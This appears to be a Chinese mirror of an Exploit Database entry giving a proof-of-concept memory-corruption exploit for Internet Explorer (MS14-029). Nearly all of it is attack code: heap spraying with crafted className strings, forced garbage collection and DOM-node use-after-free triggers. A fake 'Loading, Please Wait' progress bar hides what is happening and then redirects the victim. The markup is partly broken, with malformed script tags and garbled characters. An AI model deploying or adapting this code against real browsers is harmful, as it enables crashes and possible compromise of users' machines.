Microsoft Internet Explorer – Memory Corruption (PoC) (MS14-029)

Exploit Database
134 阅读

作者： PhysicalDrive0

日期： 2014-08-28
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/34458/

<!doctype html>

<html>

<head>

function stc()

{

var Then = new Date();

Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 7 );

document.cookie = "Cookie1=d93kaj3Nja3; expires="+ Then.toGMTString();

}

function cid()

{

var swf = 0;

try {

swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash'); } catch (e) {

}

if (!swf)

return 0;

var cookieString = new String(document.cookie);

if(cookieString.indexOf("d93kaj3Nja3") == -1)

{stc(); return 1;}else{ return 0;}

}

String.prototype.repeat=function (i){return new Array(isNaN(i)?1:++i).join(this);}

var tpx=unescape ("%u1414%u1414").repeat(0x60/4-1);

var ll=new Array();

for (i=0;i<3333;i++)ll.push(document.createElement("img"));

for(i=0;i<3333;i++) ll[i].className=tpx;

for(i=0;i<3333;i++) ll[i].className="";

CollectGarbage();

function b2()

{

try{xdd.replaceNode(document.createTextNode(" "));}catch(exception){}

try{xdd.outerText='';}catch(exception){}

CollectGarbage();

for(i=0;i<3333;i++) ll[i].className=tpx;

}

function a1(){

if (!cid())

return;

document.body.contentEditable="true";

try{xdd.applyElement(document.createElement("frameset"));}catch(exception){}

try{document.selection.createRange().select();}catch(exception){}

}

</ script >

</head>

</object>

</body>

<body>

¡¡<p align=center> <font color="#0066ff" size="2"> Loading....,Please Wait</font> <font color="#0066ff" size="2" face="verdana"> ...</font>

¡¡¡¡<input type=text name=chart size=46 style="font-family:verdana; font-weight:bolder; color:#0066ff; background-color:#fef4d9; padding:0px; border-style:none;">

¡¡¡¡

¡¡¡¡<input type=text name=percent size=47 style="color:#0066ff; text-align:center; border-width:medium; border-style:none;">

¡¡¡¡<script > ¡¡

var bar=0¡¡

var line="||"¡¡

var amount="||"¡¡

count()¡¡

function count(){¡¡

bar=bar+2¡¡

amount =amount + line¡¡

document.loading.chart.value=amount¡¡

document.loading.percent.value=bar+"%"¡¡

if (bar<99)¡¡

{setTimeout("count()",500);}¡¡

else¡¡

{window.location = "http://www.google.com.hk";}¡¡

}</ script >

¡¡</p>

</form>

</body>

</html>